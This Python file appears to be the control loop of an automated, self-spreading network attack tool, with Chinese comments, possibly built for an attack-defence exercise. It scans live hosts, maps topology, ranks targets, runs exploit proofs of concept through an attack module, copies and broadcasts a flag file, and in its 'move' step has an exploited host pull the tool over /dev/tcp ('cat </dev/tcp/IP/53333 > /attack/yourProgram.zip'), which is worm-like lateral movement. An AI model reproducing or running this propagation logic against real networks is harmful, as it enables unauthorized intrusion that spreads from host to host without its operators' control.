from functools import partial

import attack
import desicion
import recon
# import screen
from cm import *
import shutil
from socketserver import ThreadingTCPServer
import pickle

server_port_pool = [p for p in range(11101, 11110)]
gv = GlobalVal('./gv_data/GlobalVal.pickle')
MAX_PRIO = 10


class MainThread(threading.Thread):
    def __init__(self):
        super().__init__()
        if not os.path.exists('./gv_dati/GlobalVal.pickle'):
            pickle.dump({}, open('./gv_data/GlobalVal.pickle', 'wb'))
        if gv.get_val("isFirst") == 'None':  # 如果是第一个节点
            gv.set_val("isFirst", "True")
        else:
            gv.set_val("isFirst", "False")
        self.isFirst = gv.get_val("isFirst")
        # 得到本机ip
        self.ip = recon.get_selfip_list()
        print("Successfully got self.ip(list):", str(self.ip))

        # 如果本机多于1个ip，则在全局变量的ip_map中增加相应的映射项

        if len(self.ip) > 1:
            ip_map = eval(gv.get_val("ip_map"))
            for ip1 in self.ip:
                map_list = []
                for ip2 in self.ip:
                    if ip1 != ip2:
                        map_list.append(ip2)
                ip_map[ip1] = map_list
            gv.set_val("ip_map", str(ip_map))

        # 为收集有用信息创建存储目录，以自己的ip命名——注意双网卡主机需创建2个目录，将收集到的的信息拷贝到2个目录中分别进行对应ip的广播
        self.useful_data_paths = []
        for ip in self.ip:
            path = './useful_data/' + ip
            self.useful_data_paths.append(path)
            if not os.path.exists(path):
                os.mkdir(path)
            print("Successfully made the dir with local IP. ip:", ip)
        # 初始化
        with open("./gv_data/att_met.txt") as f:
            att_met = f.read()
        att_met = eval(att_met)
        # for ip in self.ip:
        #     if not os.path.exists('./useful_data/'+ip):
        #         os.mkdir('./useful_data/'+ip)
        #         print("Successfully made the dir with local IP.")

        # 漏洞扫描及攻击顺序
        covar.set_val("att_met", att_met)
        covar.set_val("self_ip", self.ip)

        # 标志order是否更新过
        covar.set_val("updatedOrder", False)
        covar.set_val("screen_failed", False)

    def run(self):
        # 建立serversocket，回连
        event = threading.Event()
        if self.isFirst == 'True':  # 如果是第一个节点
            # 将自己的ip加入已被攻击成功的ip列表
            attacked_ips_list = eval(gv.get_val("attacked_ips_list", []))
            for ip in self.ip:
                attacked_ips_list.append(ip)
            gv.set_val("attacked_ips_list", str(attacked_ips_list))
            # 不广播拓扑结构
            # hosts_list = recon.get_alive_Hosts()  # 扫描hosts
            # print("Successfully scanned the hosts in the same network")
            print("isFirst!!!!!!!!!!!!!!")
        # else:
        try:
            HOST, PORT = "0.0.0.0", 55555
            handler = partial(Handler, event)
            server = ThreadingTCPServer((HOST, PORT), handler)
            thread = threading.Thread(target=server.serve_forever)
            # thread.setDaemon(True)
            thread.start()
            # server.serve_forever()
            print('Successfully started main thread. Port:', 55555)
        except Exception as e:
            print(e)
            print("Failed! Port 55555 was occupied!")
            raise (e)

        # hosts_list = recon.get_alive_Hosts()  # 扫描hosts
        # print("Successfully scanned the hosts in the same network")

        try:
            HOST, PORT = "0.0.0.0", 53333
            server = ThreadingTCPServer((HOST, PORT), MoveHandler)
            # server.serve_forever()
            thread = threading.Thread(target=server.serve_forever)
            # thread.setDaemon(True)
            thread.start()
            print('Successfully started socket for move. Port:', 53333)
        except Exception as e:
            print(e)
            print("Failed! Port 53333 was occupied!")
            raise (e)

        # # 初始化
        # with open("./gv_data/att_met.txt") as f:
        #     att_met = f.read()
        # att_met = eval(att_met)
        # # for ip in self.ip:
        # #     if not os.path.exists('./useful_data/'+ip):
        # #         os.mkdir('./useful_data/'+ip)
        # #         print("Successfully made the dir with local IP.")
        #
        # # 漏洞扫描及攻击顺序
        # covar.set_val("att_met", att_met)
        # covar.set_val("self_ip", self.ip)
        # # 下一步漏洞扫描的相关信息
        # covar.set_val("nextStep", -1)
        # # 标志order是否更新过
        # covar.set_val("updatedOrder", False)
        # 标志该阶段是否通过
        flag = False
        desicion_type = "info4use"
        print("Successfully set the global values")

        # 更新并广播拓扑结构
        hosts_list = recon.get_alive_Hosts()  # 扫描hosts
        # if self.isFirst == 'False':
        topo_str = gv.get_val('topo', {})
        topo_dict = eval(topo_str)
        for i in range(len(self.ip)):
            detective_hosts = []
            self_ip = self.ip[i]
            for ip in hosts_list[i]:
                if ip is not self_ip:
                    detective_hosts.append(ip)
            topo_dict[self_ip] = detective_hosts
            gv.set_val('topo', str(topo_dict))
        timestamp = str(time.time())
        gv.set_val("timestamp", timestamp)
        self.renewTopo(timestamp)
        print("Successfully updated and broadcasted the topo")

        while True:
            # if 获得了锁（收到了通知）（通知要等[几(全局变量)]秒再发）
            # 通知函数：messageAll(msg)
            result = desicion.decide_what_to_do_next(desicion_type, flag)
            desicion_type = result[0]
            event.clear()
            print("----------------------ip:", self.ip, "\tbegin state:", desicion_type, "----------------------")
            if desicion_type == "info4use":
                # 通过方法名称调用信息收集的方法
                # msg = screen.screen_info_by_method(method, args)
                # log = []
                # instructions = covar.get_val('instructions')
                # for cmd in instructions:
                #     log.append(attack.exp(method, cmd))
                # filepath = "/Desktop/flag"

                # 先广播有用信息
                filepath = '/desktop/flag'
                filename = os.path.basename(filepath)
                for path in self.useful_data_paths:
                    shutil.copy(filepath, path + '/' + filename)  # 复制文件/文件夹，复制 old 为 new（new是文件，若不存在，即新建），复制 old 为至 new 文件夹（文件夹已存在）
                if self.isFirst == 'False':
                    timestamp = str(time.time())
                    gv.set_val("timestamp", timestamp)
                    broadcast_useful_info(self.ip, timestamp)

                # 更新并广播order，没更新的话也广播
                timestamp = str(time.time())
                gv.set_val("timestamp", timestamp)
                self.renewOrder(hosts_list, self.isFirst, timestamp)  # info4attack也需要用到

                # hosts_list = recon.get_alive_Hosts()  # 扫描hosts
                # topo_str = gv.get_val('topo', {})
                # topo_dict = eval(topo_str)
                # for i in range(len(self.ip)):
                #     detective_hosts = []
                #     self_ip = self.ip[i]
                #     for ip in hosts_list[i]:
                #         if ip is not self_ip:
                #             detective_hosts.append(ip)
                #     topo_dict[self_ip] = detective_hosts
                #     gv.set_val('topo', str(topo_dict))
                # timestamp = str(time.time())
                # gv.set_val("timestamp", timestamp)
                # self.renewTopo(timestamp)
                # print("Successfully updated and broadcasted the topo")
                #
                # # 更新并广播topo
                # timestamp = str(time.time())
                # gv.set_val("timestamp", timestamp)
                # self.renewTopo(timestamp)  # info4attack也需要用到


                flag = True
                print("Finished the state of info4use. Entering the circle of statements")

            elif desicion_type == "info4attack":
                # 如果为"wait"说明当前无需操作
                ip = result[1]
                if ip == "wait":  # 第一个节点无人唤醒，不能wait
                    # 等待直到再接收含有order的消息后，continue执行新的循环
                    event.wait()
                    flag = False
                    continue
                else:
                    port = result[2]
                    # 查看是否存在漏洞
                    print("ip, port", ip, port)
                    if recon.scan_port(ip, port):
                        flag = True
                        print("loudong 11111111")
                        covar.set_val("screen_failed", False)
                    else:
                        flag = False
                        print("loudong 222222222")
                        print(gv.get_val("order"))
                        covar.set_val("screen_failed", True)

            elif desicion_type == "attack":
                ip, port,  method = result[1], result[2], result[3]
                host = ip + ":" + str(port)
                succeed = attack.poc(method, '123', host, 'echo 123')  # args: (ip:port,cmd)
                # log = []
                if succeed:
                    print("succeed!!!!!!!!!")
                    flag = True
                else:
                    print("noooooooooooo")
                    flag = False
                # 待设计方法和全局数据结构
                # 这里需要进一步考虑
                # 可以先打POC验证，验证命令可执行；然后再执行危害性命令
            elif desicion_type == "move":
                flag = False
                ip, port,  method = result[1], result[2], result[3]
                host = ip + ":" + str(port)
                print("lllllllllllllll", method, host, 'cat </dev/tcp/'+ip+'/53333 > /attack/yourProgram.rar')
                attack.exp(method, host, 'cat </dev/tcp/'+ip+'/53333 > /attack/yourProgram.zip')

    def renewTopo(self, timestamp):
        topo_str = gv.get_val('topo', {})
        topo_dict = eval(topo_str)
        # for i in range(len(self.ip)):
        #     detective_hosts = []
        #     self_ip = self.ip[i]
        #     for ip in hosts_list[i]:
        #         if ip is not self_ip:
        #             detective_hosts.append(ip)
        #     topo_dict[self_ip] = detective_hosts
        #     gv.set_val('topo', str(topo_dict))
        broadcast_newtopo(topo_dict, timestamp)

    # 更新并广播order
    def renewOrder(self, hosts_list, isFirst, timestamp):  # 输入扫描得到的主机IP列表
        order_str = gv.get_val('order', [])
        order_list = eval(order_str)  # order_list: [[ipA1, next_bug_IDA1], [ipA2, next_bug_IDA2], [ipB, next_bug_IDB]]
        # for i in range(len(self.ip)):
        #     self_ip = self.ip[i]
        if isFirst == 'True':
            for ip in self.ip:
                order_list.append([ip, MAX_PRIO])
        for order in order_list:  # order: [ipA1, next_bug_IDA1]
            if order[0] in self.ip:
                order[1] = MAX_PRIO  # Step1
        for neighbor_ips in hosts_list:  # hosts_list: [[ipA1_neighbor1, ipA1_neighbor2], [ipA2_neighbor1]]
            for neighbor_ip in neighbor_ips:
                # 注意：邻居节点未被成功攻下时，不知道邻居节点的映射ip！！！
                if neighbor_ip not in order_list[:][0]:
                    order_list.append([neighbor_ip, 0])  # Step2
                    # else:
                    #     if neighbor_ip in eval(gv.get_val("ip_map")).keys():
                    #         neighbor_ip_map_list = eval(gv.get_val("ip_map"))[neighbor_ip].append(neighbor_ip)
                    #     else:
                    #         neighbor_ip_map_list = [neighbor_ip]
                    # if neighbor_ip_map_list not in order[0]:
                    #     order_list.append([neighbor_ip_map_list, 1])
        gv.set_val('order', str(order_list))
        print("111111", order_list)
        if isFirst == 'False':
            broadcast_neworder(order_list, timestamp)


if __name__ == "__main__":
    # main()

    thread = MainThread()
    thread.start()

    print(os.path.exists('/attack/Automated-Attack-Defence-Test.zip'))
